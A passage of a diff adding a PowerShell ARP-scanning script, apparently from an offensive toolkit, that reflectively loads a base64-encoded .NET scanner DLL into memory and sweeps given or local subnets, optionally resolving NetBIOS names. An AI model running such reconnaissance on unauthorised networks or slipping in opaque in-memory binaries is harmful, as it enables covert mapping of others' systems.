string(chPtr, startIndex, 15 - startIndex); + } + } +} +"@ +} else { + if ($arploaded -ne "TRUE") { + $script:arploaded = "TRUE" + echo "[+] Loading Assembly using System.Reflection" + echo "" + $ps = "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b2xlAFdhaXRPbmUAV3JpdGVMaW5lAHR5cGUAQ2FwdHVyZQBEaXNwb3NlAFRyeVBhcnNlAFJldmVyc2UATWFjU3RhdGUAZ2V0X0N1cnJlbnRTdGF0ZQBzZXRfQ3VycmVudFN0YXRlAF9jdXJyZW50U3RhdGUASVBRdWVyeVN0YXRlAHN0YXRlAEd1aWRBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBEZWZhdWx0TWVtYmVyQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBCeXRlAGdldF9WYWx1ZQBnZXRfSGFzVmFsdWUAdmFsdWUAU3lzdGVtLlRocmVhZGluZwBUb1N0cmluZwBVSW50VG9JcFN0cmluZwBpcFN0cmluZwByYW5nZU1jaABjaWRybWNoAElwUmFuZ2VNYXRjaABJcENpZHJNYXRjaABTdGFydHNXaXRoAFB0clRvU3RyaW5nQW5zaQBXYWl0Q2FsbGJhY2sASG9zdFRvTmV0d29yawBNYXJzaGFsAHdzMl8zMi5kbGwAQXJwU2Nhbm5lckRMTC5kbGwAaXBobHBhcGkuZGxsAFRocmVhZFBvb2wAZ2V0X0l0ZW0AUXVldWVVc2VyV29ya0l0ZW0AU3lzdGVtAERvU2NhbgBQaHlBZGRyTGVuAGxlbgBKb2luAFN5c3RlbS5SZWZsZWN0aW9uAEdyb3VwQ29sbGVjdGlvbgBJbnZhbGlkT3BlcmF0aW9uRXhjZXB0aW9uAGlwAEdyb3VwAENoYXIAcE1hY0FkZHIAX2hpQWRkcgBfbG9BZGRyAGdldGhvc3RieWFkZHIASXNJUENpZHIAX2lwX2NpZHIAX2lwY2lkcgBBcnBTY2FubmVyAENvdW50ZXIAQml0Q29udmVydGVyAElFbnVtZXJhdG9yAGdldF9JUEVudW1lcmF0b3IASVBSYW5nZUVudW1lcmF0b3IAU3lzdGVtLkNvbGxlY3Rpb25zLklFbnVtZXJhYmxlLkdldEVudW1lcmF0b3IALmN0b3IALmNjdG9yAFJlYWRJbnRQdHIAU3lzdGVtLkRpYWdub3N0aWNzAFNldE1heFRocmVhZHMAbWF4VGhyZWFkcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBHZXRBZGRyZXNzQnl0ZXMAR2V0Qnl0ZXMASVB2NFRvb2xzAFN5c3RlbS5UZXh0LlJlZ3VsYXJFeHByZXNzaW9ucwBTeXN0ZW0uQ29sbGVjdGlvbnMAZ2V0X0dyb3VwcwBnZXRfU3VjY2VzcwBJUEFkZHJlc3MAaXBhZGRyZXNzAFN5c3RlbS5OZXQuU29ja2V0cwBnZXRfUmVzdWx0cwBzZXRfUmVzdWx0cwBfcmVzdWx0cwBLZXJuZWwzMkltcG9ydHMASXNJUFJhbmdlRm9ybWF0AE9iamVjdABTeXN0ZW0uTmV0AFNldABSZXNldABHZXRWYWx1ZU9yRGVmYXVsdABEZWNyZW1lbnQAU3lzdGVtLkNvbGxlY3Rpb25zLklFbnVtZXJhdG9yLkN1cnJlbnQAU3lzdGVtLkNvbGxlY3Rpb25zLklFbnVtZXJhdG9yLmdldF9DdXJyZW50AF9jdXJyZW50AERvbmVFdmVudABBdXRvUmVzZXRFdmVudABob3N0AE1vdmVOZXh0AF9pcFJhbmdlUmVnZXgAX2lwUmVnZXgAX2lwQ2lkclJlZ2V4AEFycmF5AFByb3RvY29sRmFtaWx5AGdldF9RdWVyeQBzZXRfUXVlcnkAX3F1ZXJ5AElzTnVsbE9yRW1wdHkAAAAAEzEAMgA3AC4AMAAuADAALgAxAAAHMQA2ADkAAAdOAC8AQQAANUkAUAAgAEEAZABkAHIAZQBzAHMAIAB7ADAAfQAgAGkAcwAgAGkAbgB2AGEAbABpAGQAIAAABXgAMgAAAzoAAIEhXgAoAD8APABpAHAAPgAoACgAWwAwAC0AOQBdAHwAWwAxAC0AOQBdAFsAMAAtADkAXQB8ADEAWwAwAC0AOQBdAHsAMgB9AHwAMgBbADAALQA0AF0AWwAwAC0AOQBdAHwAMgA1AFsAMAAtADUAXQApAFwALgApAHsAMwB9ACgAWwAwAC0AOQBdAHwAWwAxAC0AOQBdAFsAMAAtADkAXQB8ADEAWwAwAC0AOQBdAHsAMgB9AHwAMgBbADAALQA0AF0AWwAwAC0AOQBdAHwAMgA1AFsAMAAtADUAXQApACkAKABcAC8AKAA/ADwAYwBpAGQAcgA+ACgAXABkAHwAWwAxAC0AMgBdAFwAZAB8ADMAWwAwAC0AMgBdACkAKQApACQAAYDTXgAoACgAWwAwAC0AOQBdAHwAWwAxAC0AOQBdAFsAMAAtADkAXQB8ADEAWwAwAC0AOQBdAHsAMgB9AHwAMgBbADAALQA0AF0AWwAwAC0AOQBdAHwAMgA1AFsAMAAtADUAXQApAFwALgApAHsAMwB9ACgAWwAwAC0AOQBdAHwAWwAxAC0AOQBdAFsAMAAtADkAXQB8ADEAWwAwAC0AOQBdAHsAMgB9AHwAMgBbADAALQA0AF0AWwAwAC0AOQBdAHwAMgA1AFsAMAAtADUAXQApACQAAYFpXgAoAD8APABpAHAAPgAoACgAWwAwAC0AOQBdAHwAWwAxAC0AOQBdAFsAMAAtADkAXQB8ADEAWwAwAC0AOQBdAHsAMgB9AHwAMgBbADAALQA0AF0AWwAwAC0AOQBdAHwAMgA1AFsAMAAtADUAXQApAFwALgApAHsAMwB9ACgAPwA8AGYAcgBvAG0APgAoAFsAMAAtADkAXQB8AFsAMQAtADkAXQBbADAALQA5AF0AfAAxAFsAMAAtADkAXQB7ADIAfQB8ADIAWwAwAC0ANABdAFsAMAAtADkAXQB8ADIANQBbADAALQA1AF0AKQApACkAKABcAC0AKAA/ADwAdABvAD4AKABbADAALQA5AF0AfABbADEALQA5AF0AWwAwAC0AOQBdAHwAMQBbADAALQA5AF0AewAyAH0AfAAyAFsAMAAtADQAXQBbADAALQA5AF0AfAAyADUAWwAwAC0ANQBdACkAKQApACQAAW9JAFAAIABSAGEAbgBnAGUAIABtAHUAcwB0ACAAZQBp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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" + $dllbytes = [System.Convert]::FromBase64String($ps) + $assembly = [System.Reflection.Assembly]::Load($dllbytes) + } +} + +if ($IPCidr) { + + try { + echo "[+] Arpscan against: $IPCidr" + $ArpScanner = New-Object ArpScanner + $r = $ArpScanner.DoScan($ipcidr) + $r + echo "" + + if ($Resolve.IsPresent){ + echo "IP Resolution" + echo "=================" + } + + foreach ($y in $r){ + [string]$t = $y.Keys + foreach ($ip in $y.Keys){ + if ($Resolve.IsPresent){ + $nbtname = [ArpScanner]::gethostbyaddrNetBIOS($ip) + echo "$ip - $nbtname" + } + } + + echo $y.Value + } + + + } catch { + echo "[-] Error against network $IPCidr" + } + +} else { + + $Networks = Get-WmiObject Win32_NetworkAdapterConfiguration -EA Stop | ? {$_.IPEnabled} + + foreach ($Network in $Networks) { + + $ip = $Network.IpAddress[0] + $mask = $Network.IPSubnet[0] + $DefaultGateway = $Network.DefaultIPGateway + $DNSServers = $Network.DNSServerSearchOrder + + $val = 0; $mask -split "\." | % {$val = $val * 256 + [Convert]::ToInt64($_)} + $ipcidr = $ip + "/" + [Convert]::ToString($val,2).IndexOf('0') + + try { + echo "[+] Arpscan against: $ipcidr" + $ArpScanner = New-Object ArpScanner + $r = $ArpScanner.DoScan($ipcidr) + $r + echo "" + + if ($Resolve.IsPresent){ + echo "IP Resolution" + echo "=================" + } + + foreach ($y 